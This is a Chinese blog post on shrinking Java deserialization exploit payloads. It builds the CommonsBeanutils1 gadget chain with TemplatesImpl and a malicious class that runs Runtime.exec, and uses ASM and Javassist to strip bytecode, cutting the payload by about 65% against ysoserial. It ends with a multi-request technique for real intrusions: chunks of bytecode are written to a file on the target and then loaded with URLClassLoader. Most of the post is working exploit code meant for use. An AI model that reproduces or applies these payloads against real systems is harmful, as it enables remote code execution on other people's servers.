终极Java反序列化payload缩小技术

简介: java

终极Java反序列化payload缩小技术

介绍

实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的

本文以CommonsBeanutils1链为示例,重点在于三部分:

  • 序列化数据本身的缩小
  • 针对TemplatesImpl_bytecodes字节码的缩小
  • 对于执行的代码如何缩小(STATIC代码块)

接下来我将展示如何一步一步地缩小

最终效果能够将YSOSERIAL生成的Payload缩小接近三分之二(从3692长度缩小到1296

YSOSERIAL

首先用YSOSERIAL工具直接生成CB1的链,看看Base64处理后的长度

java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser


生成后统计长度为:3692

byte[]data=Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));

System.out.println(newString(data).length());

构造Gadget

尝试不借助YSOSERIAL直接构造CB1的链

<dependency>

   <groupId>commons-beanutils</groupId>

   <artifactId>commons-beanutils</artifactId>

   <version>1.9.2</version>

</dependency>

构造代码

publicstaticbyte[]getPayloadUseByteCodes(byte[]byteCodes){

   try{

       TemplatesImpltemplates=newTemplatesImpl();

       setFieldValue(templates,"_bytecodes",newbyte[][]{byteCodes});

       setFieldValue(templates,"_name","HelloTemplatesImpl");

       setFieldValue(templates,"_tfactory",newTransformerFactoryImpl());

       finalBeanComparatorcomparator=newBeanComparator(null,String.CASE_INSENSITIVE_ORDER);

       finalPriorityQueue<Object>queue=newPriorityQueue<Object>(2,comparator);

       queue.add("1");

       queue.add("1");

       setFieldValue(comparator,"property","outputProperties");

       setFieldValue(queue,"queue",newObject[]{templates,templates});

       returnserialize(queue);

   }catch(Exceptione){

       e.printStackTrace();

   }

   returnnewbyte[]{};

}

恶意类

publicclassEvilByteCodesextendsAbstractTranslet{

   static{

       try{

           Runtime.getRuntime().exec("calc.exe");

       }catch(Exceptione){

           e.printStackTrace();

       }

   }


   @Override

   publicvoidtransform(DOMdocument,SerializationHandler[]handlers){


   }


   @Override

   publicvoidtransform(DOMdocument,DTMAxisIteratoriterator,SerializationHandlerhandler){


   }

}

读取字节码并设置到Gadget中,序列化后统计长度:2728

相比YSOSERIAL直接生成的,缩小了26.1%

byte[]evilBytesCode=Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));

byte[]my=Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));

System.out.println(newString(my).length());

其实上文中还有三处可以优化:

  • 设置_name名称可以是一个字符
  • 其中_tfactory属性可以删除(分析TemplatesImpl得出)
  • 其中EvilByteCodes类捕获异常后无需处理

setFieldValue(templates,"_name","t");

// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


try{

   Runtime.getRuntime().exec("calc.exe");

}catch(Exceptionignored){

}

经过这三处优化后得到长度:2608

相比YSOSERIAL直接生成的,缩小了29.3%

从字节码层面优化

上文中的EvilBytesCode恶意类的字节码是可以缩减的

对字节码进行分析:javap -c -l EvilByteCodes.class

public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {

 // transform 1

 // transform 2

 // <init>

 // <clint>

 static {};

   Code:

      0: invokestatic  #2                  // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;

      3: ldc           #3                  // String

      5: invokevirtual #4                  // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;

      8: pop

      9: goto          13

     12: astore_0

     13: return

   Exception table:

      from    to  target type

          0     9    12   Class java/lang/Exception

   LineNumberTable:

     line 11: 0

     line 13: 9

     line 12: 12

     line 14: 13

   LocalVariableTable:

     Start  Length  Slot  Name   Signature

}


可以看出,该类每个方法包含了三部分:

  • 代码对应的字节码
  • ExceptionTable和LocalVariableTable
  • LineNumberTable

有JVM相关的知识可以得知,局部变量表和异常表是不能删除的,否则无法执行

LineNumberTable是可以删除的

换句话来说:LINENUMBER指令可以全部删了

于是我基于ASM实现删除LINENUMBER

byte[]bytes=Files.readAllBytes(Paths.get(path));

ClassReadercr=newClassReader(bytes);

ClassWritercw=newClassWriter(ClassWriter.COMPUTE_FRAMES);

intapi=Opcodes.ASM9;

ClassVisitorcv=newShortClassVisitor(api,cw);

intparsingOptions=ClassReader.SKIP_DEBUG|ClassReader.SKIP_FRAMES;

cr.accept(cv,parsingOptions);

byte[]out=cw.toByteArray();

Files.write(Paths.get(path),out);

ShortClassVisitor

publicclassShortClassVisitorextendsClassVisitor{

   privatefinalintapi;


   publicShortClassVisitor(intapi,ClassVisitorclassVisitor){

       super(api,classVisitor);

       this.api=api;

   }


   @Override

   publicMethodVisitorvisitMethod(intaccess,Stringname,Stringdescriptor,Stringsignature,String[]exceptions){

       MethodVisitormv=super.visitMethod(access,name,descriptor,signature,exceptions);

       returnnewShortMethodAdapter(this.api,mv);

   }

}

重点在于ShortMethodAdapter:如果遇到LINENUMBER指令则阻止传递,可以理解为返回空

publicclassShortMethodAdapterextendsMethodVisitorimplementsOpcodes{


   publicShortMethodAdapter(intapi,MethodVisitormethodVisitor){

       super(api,methodVisitor);

   }


   @Override

   publicvoidvisitLineNumber(intline,Labelstart){

       // delete line number

   }

}

读取编译的字节码并处理后替换

Resolver.resolve("/path/to/EvilByteCodes.class");

byte[]newByteCodes=Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));

byte[]payload=Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));

System.out.println(newString(payload).length());

经过优化后得到长度:1832

相比YSOSERIAL直接生成的,缩小了50.3%

使用Javassist构造

以上代码虽然做到了超过百分之五十的缩小,但存在一个问题:目前的恶意类是写死的,无法动态构造

想要动态构造字节码一种手段是选择ASM做,但有更好的选择:Javassist

通过这样的一个方法,就可以根据输入命令动态构造出Evil

privatestaticbyte[]getTemplatesImpl(Stringcmd){

   try{

       ClassPoolpool=ClassPool.getDefault();

       CtClassctClass=pool.makeClass("Evil");

       CtClasssuperClass=pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

       ctClass.setSuperclass(superClass);


       CtConstructorconstructor=ctClass.makeClassInitializer();

       constructor.setBody("        try {\n"+

                           "            Runtime.getRuntime().exec(\""+cmd+"\");\n"+

                           "        } catch (Exception ignored) {\n"+

                           "        }");


       CtMethodctMethod1=CtMethod.make("    public void transform("+

                                          "com.sun.org.apache.xalan.internal.xsltc.DOM document, "+

                                          "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n"+

                                          "    }",ctClass);

       ctClass.addMethod(ctMethod1);


       CtMethodctMethod2=CtMethod.make("    public void transform("+

                                          "com.sun.org.apache.xalan.internal.xsltc.DOM document, "+

                                          "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, "+

                                          "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n"+

                                          "    }",ctClass);

       ctClass.addMethod(ctMethod2);


       byte[]bytes=ctClass.toBytecode();

       ctClass.defrost();


       returnbytes;

   }catch(Exceptione){

       e.printStackTrace();

       returnnewbyte[]{};

   }

}

将动态生成的字节码保存至当前目录,再读取加载

Stringpath=System.getProperty("user.dir")+File.separator+"Evil.class";

Generator.saveTemplateImpl(path,"calc.exe");

byte[]newByteCodes=Files.readAllBytes(Paths.get("Evil.class"));

byte[]payload=Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));

System.out.println(newString(payload).length());

经过优化后得到长度:1848

相比YSOSERIAL直接生成的,缩小了49.9%

不难发现使用Javassist生成的字节码似乎本身就不包含LINENUMBER指令

不过这只是猜测,当我使用上文的删除指令代码优化后,发现进一步缩小了

...

Generator.saveTemplateImpl(path,"calc.exe");

Resolver.resolve("Evil.class");

...

// 验证Payload是否有效    

Payload.deserialize(Base64.getDecoder().decode(payload));

经过优化后得到长度:1804

相比YSOSERIAL直接生成的,缩小了51.1%

验证Payload有效可以弹出计算器

删除重写方法

可以发现Evil类继承自AbstractTranslet抽象类,所以必须重写两个transform方法

这样写代码会导致编译不通过,无法执行

publicclassEvilByteCodesextendsAbstractTranslet{

   static{

       try{

           Runtime.getRuntime().exec("calc.exe");

       }catch(Exceptionignored){

       }

   }

}

编译不通过不代表非法,通过手段直接构造对应的字节码

(1)通过ASM删除方法

@Override

publicMethodVisitorvisitMethod(intaccess,Stringname,Stringdescriptor,Stringsignature,String[]exceptions){

   if(name.equals("transform")){

       returnnull;

   }

   MethodVisitormv=super.visitMethod(access,name,descriptor,signature,exceptions);

   returnnewShortMethodAdapter(this.api,mv,name);

}

(2)通过Javassist直接构造

privatestaticbyte[]getTemplatesImpl(Stringcmd){

   try{

       ClassPoolpool=ClassPool.getDefault();

       CtClassctClass=pool.makeClass("Evil");

       CtClasssuperClass=pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

       ctClass.setSuperclass(superClass);

       CtConstructorconstructor=ctClass.makeClassInitializer();

       constructor.setBody("        try {\n"+

                           "            Runtime.getRuntime().exec(\""+cmd+"\");\n"+

                           "        } catch (Exception ignored) {\n"+

                           "        }");

       byte[]bytes=ctClass.toBytecode();

       ctClass.defrost();

       returnbytes;

   }catch(Exceptione){

       e.printStackTrace();

       returnnewbyte[]{};

   }

}

通过以上手段处理后进行反序列化验证:成功弹出计算器

Stringpath=System.getProperty("user.dir")+File.separator+"Evil.class";

Generator.saveTemplateImpl(path,"calc.exe");

Resolver.resolve("Evil.class");

byte[]newByteCodes=Files.readAllBytes(Paths.get("Evil.class"));

byte[]payload=Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));

System.out.println(newString(payload).length());

Payload.deserialize(Base64.getDecoder().decode(payload));

最终优化后得到长度:1332

相比YSOSERIAL直接生成的,缩小了63.9%

并不是所有方法都能删除,比如不存在构造方法的情况下无法删除空参构造

于是有了一个新思路:删除静态代码块,将代码写入空参构造

ClassPoolpool=ClassPool.getDefault();

CtClassctClass=pool.makeClass("Evil");

CtClasssuperClass=pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

ctClass.setSuperclass(superClass);

CtConstructorconstructor=CtNewConstructor.make("    public Evil(){\n"+

                                                 "        try {\n"+

                                                 "            Runtime.getRuntime().exec(\""+cmd+"\");\n"+

                                                 "        }catch (Exception ignored){}\n"+

                                                 "    }",ctClass);

ctClass.addConstructor(constructor);

byte[]bytes=ctClass.toBytecode();

ctClass.defrost();

returnbytes;

最终优化后得到长度:1296

相比YSOSERIAL直接生成的,缩小了64.8%

终极技术:分块传输

以上的内容都在围绕字节码和序列化数据的缩小,我认为已经做到的接近极致,很难做到更小的

对于STATIC代码块中需要执行的代码也有缩小手段,这也是更有实战意义是思考,因为实战中不是弹个计算器这么简单

因此可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块

使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件

static{

   try{

       Stringpath="/your/path";

       // 创建文件

       Filefile=newFile(path);

       file.createNewFile();

       // 传入true是追加方式写文件

       FileOutputStreamfos=newFileOutputStream(path,true);

       // 需要写入的数据

       Stringdata="BASE64_BYTECODES_PART";

       fos.write(data.getBytes());

       fos.close();

   }catch(Exceptionignore){

   }

}

在最后一个包中将字节码进行Base64Decode并写入class文件

(也可以直接写字节码二进制数据,不过个人认为Base64好分割处理一些)

static{

   try{

       Stringpath="/your/path";

       FileInputStreamfis=newFileInputStream(path);

       // size取决于实际情况

       byte[]data=newbyte[size];

       fis.read(data);

       // 写入Evil.class

       FileOutputStreamfos=newFileOutputStream("Evil.class");

       fos.write(Base64.getDecoder().decode(data));

       fos.close();

   }catch(Exceptionignored){

   }

}

会有师傅产生疑问:为什么要写这么多的代码而不用java.nio.file.Files工具类一行实现读写

其实我一开始就是使用该工具类在做,后来测试发现受用用Stream读写产生的Payload会更小

最后一个包使用URLClassLoader进行加载

注意一个小坑,传入URLClassLoader的路径要以file://开头且以/结尾否则会找不到对应的类

static{

   try{

       Stringpath="file:///your/path/";

       URLurl=newURL(path);

       URLClassLoaderurlClassLoader=newURLClassLoader(newURL[]{url});

       Class<?>clazz=urlClassLoader.loadClass("Evil);

       clazz.newInstance();

   }catch(Exceptionignored){

   }

}

代码

我对常见的反序列化链做了总结和测试,效果如下(出了个叛徒)

目录
打赏
0
0
1
0
204
分享
相关文章
2025 年 Java 应届生斩获高薪需掌握的技术实操指南与实战要点解析
本指南为2025年Java应届生打造,涵盖JVM调优、响应式编程、云原生、微服务、实时计算与AI部署等前沿技术,结合电商、数据处理等真实场景,提供可落地的技术实操方案,助力掌握高薪开发技能。
62 2
|
9天前
|
Java 面试实操指南与最新技术结合的实战攻略
本指南涵盖Java 17+新特性、Spring Boot 3微服务、响应式编程、容器化部署与数据缓存实操,结合代码案例解析高频面试技术点,助你掌握最新Java技术栈,提升实战能力,轻松应对Java中高级岗位面试。
40 0
java 最新技术驱动的智能教育在线实验室设备管理与实验资源优化实操指南
这是一份基于最新技术的智能教育在线实验室设备管理与实验资源优化的实操指南,涵盖系统搭建、核心功能实现及优化策略。采用Flink实时处理、Kafka消息队列、Elasticsearch搜索分析和Redis缓存等技术栈,结合强化学习动态优化资源调度。指南详细描述了开发环境准备、基础组件部署、数据采集与处理、模型训练、API服务集成及性能调优步骤,支持高并发设备接入与低延迟处理,满足教育机构数字化转型需求。代码已提供下载链接,助力快速构建智能化实验室管理系统。
99 44
|
15天前
|
Java语言按文件创建日期排序及获取最新文件的技术
这段代码实现了文件创建时间的读取、文件列表的获取与排序以及获取最新文件的需求。它具备良好的效率和可读性,对于绝大多数处理文件属性相关的需求来说足够健壮。在实际应用中,根据具体情况,可能还需要进一步处理如访问权限不足、文件系统不支持某些属性等边界情况。
65 14
Java 8 + 特性及 Spring Boot 与 Hibernate 等最新技术的实操内容详解
本内容涵盖Java 8+核心语法、Spring Boot与Hibernate实操,按考试考点分类整理,含技术详解与代码示例,助力掌握最新Java技术与应用。
27 2
|
24天前
|
最新 Java 技术实战操作详细指南
本文介绍了Java最新技术特性的实操应用指南,重点涵盖7大核心功能:1)Java 9+模块化系统,通过module-info.java实现模块化开发;2)函数式编程与Lambda表达式简化集合操作;3)Stream API进行高效数据处理;4)接口默认方法与静态方法增强接口扩展性;5)Java 10的var局部变量类型推断;6)文本块简化多行字符串处理;7)模式匹配优化类型检查与转换。每个特性均配有代码示例和技术说明,帮助开发者掌握现代Java开发的核心技能。这些特性显著提升了代码简洁性、可维护性和性能表现
39 2
Java 核心知识与技术全景解析
本文涵盖 Java 多方面核心知识,包括基础语法中重载与重写、== 与 equals 的区别,String 等类的特性及异常体系;集合类中常见数据结构、各集合实现类的特点,以及 HashMap 的底层结构和扩容机制;网络编程中 BIO、NIO、AIO 的差异;IO 流的分类及用途。 线程与并发部分详解了 ThreadLocal、悲观锁与乐观锁、synchronized 的原理及锁升级、线程池核心参数;JVM 部分涉及堆内存结构、垃圾回收算法及伊甸园等区域的细节;还包括 Lambda 表达式、反射与泛型的概念,以及 Tomcat 的优化配置。内容全面覆盖 Java 开发中的关键技术点,适用于深
Java 项目实操高并发电商系统核心模块实现从基础到进阶的长尾技术要点详解 Java 项目实操
本项目实战实现高并发电商系统核心模块,涵盖商品、订单与库存服务。采用Spring Boot 3、Redis 7、RabbitMQ等最新技术栈,通过秒杀场景解决库存超卖、限流熔断及分布式事务难题。结合多级缓存优化查询性能,提升系统稳定性与吞吐能力,适用于Java微服务开发进阶学习。
44 0
Java 大学期末实操项目在线图书管理系统开发实例及关键技术解析实操项目
本项目基于Spring Boot 3.0与Java 17,实现在线图书管理系统,涵盖CRUD操作、RESTful API、安全认证及单元测试,助力学生掌握现代Java开发核心技能。
41 0
最新 Java 从入门到实战技术实操指南
这是一份全面的Java实操指南,涵盖从入门到微服务架构的完整学习路径。内容包括Java 21新特性(虚拟线程、Record类)、响应式编程(Spring WebFlux)、微服务架构(Spring Boot 3.2、Spring Cloud、Kubernetes)、数据库与缓存(Redis 8、R2DBC)以及云原生部署和监控(Prometheus、Grafana)。通过电商系统实战项目,掌握最新技术栈与开发技巧。适合初学者及进阶开发者,附带代码示例与资源链接,助你快速提升技能。
50 0

热门文章

最新文章

登录插画

登录以查看您的控制台资源

管理云资源
状态一览
快捷访问